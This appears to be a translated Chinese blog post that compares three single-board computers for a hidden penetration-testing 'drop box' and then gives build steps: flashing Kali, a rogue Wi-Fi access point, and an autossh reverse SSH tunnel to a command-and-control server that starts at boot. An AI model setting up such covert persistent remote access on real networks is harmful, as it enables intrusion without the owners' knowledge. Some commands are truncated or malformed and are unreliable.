在这篇文章中,我将会对比三款单版计算机,并试图从中挑选一款最适合用来搭建渗透测试环境,并且价格大概能在 110 美金左右的单板计算机。但不得不说的是,当我决定做这些测试的时候,事实上已经完全超出了我的预算!如果你想跳过我以下关于 SBC 的对比内容,那么你可以直接到以下地址:点击 阅读有关渗透测试环境的直接搭建过程!
概述
几周前,我接到一个任务,对即将到来的零售组织商做一次评估。为了准备这次评估,我开始收集所有可能在活动中需要的装备,并试图获得对其网络的访问权。而社会工程学攻击的方式已经被我排除,因为我不可能要求任何一位员工插入我的 USB 设备,或者进入到他们的房间里,更别谈打开他们的终端,并检查他们的电子邮件内容了。
从本质上说,我只能尝试使用物理攻击的方式。那么,我可以不可以使用基于物理攻击的 USB?例如:Rubber Ducky (橡皮鸭)。试想,如果目标系统没有相关的组策略设置及系统锁定,那么最理想的情况就是,直接获取一个基于命令行的远程反弹 shell 的控制。这里存在一个问题:即使我们能实现这种物理攻击,但由于我们并不了解目标网络的防火墙对出栈网络的过滤设置是什么,因此我们在外网能不能获取 shell 还是个问题。
设备要求
看看已经有的选项,很明显,我可以花超过1000美元买一些可以做我需要的事情的设备,或者试图建立一个相比较而言更便宜的。所以我设定了一些具体的目标,我想让这个设备做什么。它们是:
1.设备的尺寸相对较小(能够被插入桌子底下而并不会被注意到)
2.必须能够通过无线接口进行控制(如果有多个无线接口可以使用,可以获得奖励积分,那么无线管理和无线攻击可以同步进行)
3.持续的反向的SSH隧道控制和指挥服务器
4. 全功能渗透测试系统(路由攻击不仅仅通过一个筒体)
5.相当好的存储空间(32-64GB)
6.实际上它是一个可用的渗透测试盒子,它并不会由于硬件的限制而变得迟滞。
硬件对比
我买了三款目前市面上最受欢迎的 SBC 来做比较,并试图从中找出最适合用来搭建渗透测试环境,及完成我任务目标的设备。它们分别是:
Raspberry Pi 3 Model B
BeagleBone Black
Hardkernel ODROID-C2
从左往右分别是:BeagleBone Black, Raspberry Pi 3 Model B, ODROID-C2 。
下面,首先让我们来对比下这些 SBC 的硬件规格:
从上面的对比图表中我们可以得知,ODROID-C2 在处理器,GPU,RAM(随机存取存储器),以太网速度及视频的分辨率和对 内嵌式存储器 emmc 的支持上,均完胜其它两款 SBC。但 BeagleBone Black (BBB) 支持 8 bit 4GB的 MMC卡,并支持更多的 I/O 和外部设备的接入。而Pi 3 则配备了一个无线适配器,在价格上也稍低于 C2 和 BBB。虽然,从以上这些数据大概可以确定 ODROID-C2 最适合用来搭建渗透测试系统,但是为了更加公平和客观,我接下来还会继续对它们各方面的性能,进行比较和测试。
在价格相对便宜的情况下,我发现电路板,电源供应器,存储卡,和无线适配器这些方面的性能相对重要。BBB 和 Pi 3都只支持 microSD 卡的存储,而 ODROID-C2 同时支持 microSD 和 eMMC 存储。因此在关于 ODROID-C2 的测试中,我们主要测试的是 microSD 和 eMMC 这两种存储介质。
操作系统
我是个 kali 的忠实粉丝,每次我在做渗透测试的时候总会用到它。它不仅提供了桌面版,还提供了可供这些 SBC 所使用的 ARM 镜像版。我们可以在 这里 下载到它。它的烧录和安装也非常容易,因此我们就选用它作为我们比较的操作系统环境。
Wireless
我们可以从规格表中看到, Raspberry Pi 3 代已经为我们继承了一个 无线适配器,用于无线的连接。但是这里有个问题,就是 Raspberry Pi 3 自带的无线模块,并不支持监听模式和包的注入测试。因此它只能作为一个无线接入点,而不支持任何无线攻击的功能。
为了解决这一问题,我决定给它配置个外接无线网卡。因此我在亚马逊上,找到了一款相对便宜的 无线网卡 ,大概 11.99 美金的样子。这款无线网卡的芯片型号是 RT5370 ,它完美的支持 监听模式 ,同时也完美支持在 Aireplay-ng 下进行包的注入。而且 BBB 和 C2 本身也都不支持 无线模块,因此买个这个 无线适配器 尤其重要。如果大家希望在 SBC 上进行无线渗透的话,我建议大家选择这款 无线适配器!
案例和整体外观
我为 BeagleBone Black 购买了一款 黑色的外壳。因为我发现在我繁重的测试环境下,这块板子有点发热。对于另外两块板子,我则选择了一款带有风扇的外壳。
事实上对于外壳的购买, ODROID-C2 并没有太多的选择。但幸运的是, ODROID-C2 几乎像是 Raspberry Pi 3 的复制品。因此,它们的大部分接口位置也都差不多,所以许多 Pi 3 的外壳也都适用与它。对于 Pi 3 和 ODROID-C2,我购买的是这款 外壳 。这款外壳包含一个散热风扇,它是由两个 GPIO 引脚供电的。
想要 Pi 3 的外壳完美的适用于 ODROID-C2,这里我们还需解决一个问题,就是电源插口没有匹配上。其实这只是一个小问题,只要拿个小电钻钻一下就可以了!
硬件总成本
我决定使用 64 GB 的闪迪极速 MicroSDXC UHS-1 卡,作为这次测试的系统烧录存储卡。当然 64GB 大小的存储量是根据我个人的情况所决定的,你们完全可以使用更小的内存卡,这样还会降低你的成本支出。我也测试过 odroid-c2 的 eMMC 模块。但我只测试了一个32 GB 的 eMMC 模块,因为成本实在太高了。这里需要说明的是,Pi 3虽然自带了无线模块,但是并不支持无线渗透。因此是否购买 无线网卡则取决于你要做什么?而不是必须的。
功能测试
在安装及配置好这三款 SBC 后,下面我将要通过各种测试,来对它们之间的功能差异进行比较和检验。我首先测试的是,它们的开机启动速度。我测试了从我按下 enter 键 reboot 重启,到显示登陆界面间的用时情况。我还测试了它们从重启后,到我能成功加载并运行 Metasploit console 所耗费的时间。从测试结果我得知,从重启到启动 Metasploit console ,ODROID-C2 共花了一分十四秒。这个速度比 Raspberry Pi 3 整整快了一分钟,比 BeagleBone Black 则快了整整两分钟!
接下来,我又做了关于密码破解速度的测试。当然我并不会真的去破解别人的密码,因为这是违法的!而且从这几款 SBC 的处理器上看,它们也只适合于这种实验测试环境。因为它们的处理能力,相比于办公的电脑还是相对比较弱的。这次测试,我使用了 John the Ripper (./john –test) 这款破解工具来测试。最后,还是 ODROID-C2 更加出色!
接着我在这些设备上,使用 Nmap 分别执行了基本的端口扫描 (不加任何参数) 和有关服务信息的扫描 (使用参数 -sV) 。结果,在基本扫描下,这三款 SBC 均用时为 2 秒左右。在服务扫描下,则均用时为 2 分 23 秒左右。因此在这项测试中,它们不分上下!
在最后一项比较中,我测试了它们的数据读取和写入速度。我首先使用‘dd’命令写入 1 GB 数据到硬盘中。接着,我清除了 Linux 的缓存,并再次使用 “dd”命令,从系统读取这 1GB 文件。我还使用 hdparm 命令,测试了缓冲和缓存读取到磁盘速度。而在这几项测试中, odroid-c2 占了绝对的优势!ODROID-C2 的 eMMC 模块的写入速度,比 Raspberry Pi 3 的 microSD 速度快了近 15 倍!而它的读取速度则比 Raspberry Pi 3 快了近 9 倍!甚至 ODROID-C2 的 microSD 卡的读写速度,也比 Raspberry Pi 3 快 2 倍!
测试写入速度,我使用了如下命令:
sync; dd if=/dev/zero of=tempfile bs=1M count=1024; sync
测试读取速度,我使用了如下命令:
/sbin/sysctl -w vm.drop_caches=3
dd if=tempfile of=/dev/null bs=1M count 1024
测试了缓冲和缓存读取到磁盘速度,我使用如下命令:
结论
从以上一系列的测试中,我们不难看出,ODROID-C2 是最适合用来作为渗透测试盒子的 SBC 。因为它各方面相比于另外两款显得更快,也更稳定!事实也证明了这点,我将它放置在目标网络附近,并离开了三天它还依然在稳定的运作着!还好有无线接口。因为之前我接入的网络没有设置动态主机分配协议,因此我需要手动查找分支网络,并手动分配 IP 地址。如果没有这个无线接口,设备就不能正常连接到我外面服务器的控制终端上。
在我配置完以上信息后,ODROID-C2 成功连通了一个 SSH 隧道到我的 C2 服务器上,并能完美的同时处理多个 Meterpreter sessions 。
下面我将正式开始向大家介绍如何打造 ODROID-C2 下的渗透测试盒子。但是如果你早已有了一个在 ODROID-C2 上搭建的渗透测试盒子,或是想在其它 SBC上来打造这个盒子。那么你也可以翻看我之前的相关文章:
ODROID-C2 w/ eMMC Pentest Drop Box Instructions
ODROID-C2 w/ microSD Pentest Drop Box Instructions
Raspberry Pi 3 Pentest Drop Box Instructions
BeagleBone Black Pentest Drop Box Instructions
ODROID-C2 w/ eMMC 渗透测试盒子搭建指南
硬件购买清单
32GB 的 ODROID-C2 eMMC 模块 (当然如果需要 eMMC 转到 MicroSD 适配器,则需要额外增加 1 美金)
Kali 镜像烧录
1.下载 Kali ODROID-C2 镜像文件到 这里:
2.烧录 kali 镜像到 eMMC 模块:
如果你是 Windows 系统:
1.使用 eMMC 转到 microSD 的适配器进行内存转换,然后再使用 microSD 的 USB 读卡器连接到 Windows 系统。
2.使用 7zip 解压 kali-*-odroidc2.img.xz 文件。
3.使用 Win32DiskImager 将 kali 烧录进 eMMC 。
如果你是 Linux 系统:
1.使用 eMMC 转到 microSD 的适配器进行内存转换,然后再使用 microSD 的 USB 读卡器连接到 Linux 系统。
2.使用 dd 工具将 kali 镜像文件写入 eMMC。(在这里千万要小心不要选错你所挂载的存储设备,如果错选很有可能会格式化你的磁盘。在下面的例子中,我的挂载点是 /dev/sdb 但你的可能不同,所以应视情况进行相应的改变。)
xzcat kali-*-odroidc2.img.xz | dd of=/dev/sdb bs=512k
3.修复eMMC启动问题(由于一些原因,在引导分区的 uinitrd 文件,在重启后出现损坏的情况。)这是一个已知的问题,并已有相关文档在 github 上:https://github.com/offensive-security/kali-arm-build-scripts/issues/76 。你可以根据以下我提供的步骤,解决该问题。
1.当 eMMC 仍然处于插入连接的状态,我们拷贝 /boot 分区下的 Image, meson64_odroidc2.dtb, 和 uInitrd 文件,并关闭分区。
2.创建一个名为 “backup”的文件夹,并将 Image, meson64_odroidc2.dtb, 和 uInitrd 文件,拷贝进该文件夹下。
3.将 eMMC卡插到 odroid-c2 板子上,并将 鼠标键盘及 HDMI 电缆插入到相应的接口,然后启动电源。
4.使用用户名为 “root”密码为“toor”账户登录 Kali Linux。
5.挂载 boot 分区并让它自动挂载到 /etc/fstab 下。
mount /dev/mmcblk0p1 /boot
echo ‘/dev/mmcblk0p1 /boot auto defaults 0 0′ >> /etc/fstab
4. 创建备份还原脚本:
nano /boot/backup/restore.sh
将以下内容拷贝至 /boot/backup/restore.sh 脚本:
#!/bin/bash
cp /boot/backup/* /boot/
5. 赋予其执行权限并确保没有错误存在:
chmod 755 /boot/backup/restore.sh
/boot/backup/restore.sh
6.将脚本添加到开机启动配置文件 rc.local:
nano /etc/rc.local
在 ‘exit 0’之前添加以下信息:
/boot/backup/restore.sh
7.插入以太网电缆,使其连通网络。odroid-c2 会自动尝试通过 DHCP 获得 IP 地址。
8.修改默认密码使用 ‘passwd’命令。
9. 扩展文件系统,使其覆盖整个 eMMC 存储空间。我们使用 fdisk 命令来实现空间的扩展,完成扩展后我们可以使用 ‘df –H’ 命令来查看扩展情况。
fdisk /dev/mmcblk0
d ###The ‘d’ option allows us to delete a partition
2 ###We select partition 2 to be deleted
n ###The ‘n’ option creates a new partition
p ###’p’ creates a primary partition
2 ###Set partition number 2
Accept default First sector ###The start sector of the disk
Accept default Last sector ###The end sector of the disk
w ###Use ‘w’ to write the changes
reboot ###reboot, then log back in
resize2fs /dev/mmcblk0p2 ###Use resize2fs to grow the partition
10.更新 kali 系统:
apt-get update && upgrade
建立 wifi 接入点
1.安装 hostapd
apt-get install hostapd
2. 创建 /etc/hostapd/hostapd.conf 文件
nano /etc/hostapd/hostapd.conf
3.将以下内容拷贝至 hostapd.conf 内文件,并根据自身情况修改 ssid, 和 wpa_passphrase
# Interface configuration
interface=wlan0
ssid=tortugas
channel=1
# WPA configuration
macaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
wpa=3
wpa_passphrase=@pirateslife4me@
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
# Hardware configuration
driver=nl80211
ieee80211n=1
hw_mode=g
4.修改 /etc/init.d/hostapd 文件:
nano /etc/init.d/hostapd
找到下面这行内容:
DAEMON_CONF=
修改如下:
DAEMON_CONF=/etc/hostapd/hostapd.conf
5.安装 Dnsmasq
apt-get install dnsmasq
6.修改 /etc/dnsmasq.conf 文件
nano /etc/dnsmasq.conf
并将以下内容添加到配置文件内(该文件是用来绑定指定网卡和作为一个 DHCP 客户端的,它能分发 IP 地址,这里我的分发范围为 172.16.66.50-172.16.66.100)
no-resolv
# Interface to bind to
interface=wlan0
bind-interfaces
# Specify starting_range,end_range,lease_time
dhcp-range=172.16.66.50,172.16.66.100,255.255.255.0,12h
7.修改本地网络配置文件
nano /etc/network/interfaces
并修改成如下信息:
auto wlan0
allow-hotplug wlan0
iface wlan0 inet static
address 172.16.66.1
netmask 255.255.255.0
此时我们插入我们购买的无线网卡,并尝试将接口激活。
airmon-ng check kill
hostapd /etc/hostapd/hostapd.conf
如果这里没有错误,你现在应该能够连接到一个由你伪造的 SSID 无线网络。
9.使 hostapd 文件支持开机启动
update-rc.d hostapd enable
10.使 dnsmasq文件支持开机启动
nano /etc/rc.local
在 /etc/rc.local 文件的‘exit 0’前面增加下面一行:
service dnsmasq start
设置自动反向 SSH 隧道
首先,我们假设已有一台在互联网上,可以控制和进行命令操纵的服务器,并且支持 SSH 服务,端口为默认的 22 端口。
1.安装 ‘autossh’ 通过命令自动创建一个可以控制该服务器的 SSH 隧道连接。
apt-get install autossh
2.生成 SSH 密钥,所有设置均默认即可。
ssh-keygen
3.将 /root/.ssh/id_rsa.pub 文件远程拷贝至 C2 服务器。
scp /root/.ssh/id_rsa.pub root@ :
/directory/to/upload/to/
4.在 C2 服务器上,将 id_rsa.pub 的内容追加到 ~/.ssh/authorized_keys 内:
# On C2 server
cat /directory/to/upload/to/id_rsa.pub >>
~/.ssh/authorized_keys
5.测试基于密钥的身份验证。如果以上一切顺利的话,我们就能在 C2 服务器上不需要密码登陆 SSH :
# On the ODROID-C2
ssh root@
6.测试 ‘autossh’:
autossh -M 11166 -o “PubkeyAuthentication=yes” -o
“PasswordAuthentication=no” -i /root/.ssh/id_rsa -R 6667:
localhost:22 root@
如果以上一切顺利的话,那么就会在 C2 服务器上建立一个端口为 6667 的 SSH 隧道的 shell 连接。
7.将 SSH 隧道连接命令添加到开机启动配置文件内:
nano /etc/rc.local
添加以下内容:
autossh -M 11166 -N -f -o “PubkeyAuthentication=yes” -o
“PasswordAuthentication=no” -i /root/.ssh/id_rsa -R 6667:
localhost:22 root@ &
-N:不要在中间人机器上执行命令。
-M:监听端口。
&:在后台执行该命令,如果不加该参数很有可能导致机器挂死。
相关工具
虽然有些工具已被集成在了 Kali ARM 镜像内,但并不是所有的工具。 (像 sqlmap, wireshark, nmap, hydra, john, aircrack-ng 这些工具已经被默认集成安装)
1.因此,我们可以自主的安装一些我们想用的工具:
apt-get install responder metasploit-framework macchanger
voiphopper snmpcheck onesixtyone patator isr-evilgrade
creddump screen
2.我们不仅可以通过以上我介绍的方式,实现 AP 的伪造,其实我们还可以使用以下方式来实现 AP 的伪造:
service hostapd stop
airmon-ng check kill
airmon-ng start wlan0
airodump-ng wlan0mon ### Or any other wireless attack toolkit…
3.对于 “攻击” 所使用的无线网卡,我们要视挂载情况,选择正确的无线网卡,并将其置成侦听模式才行。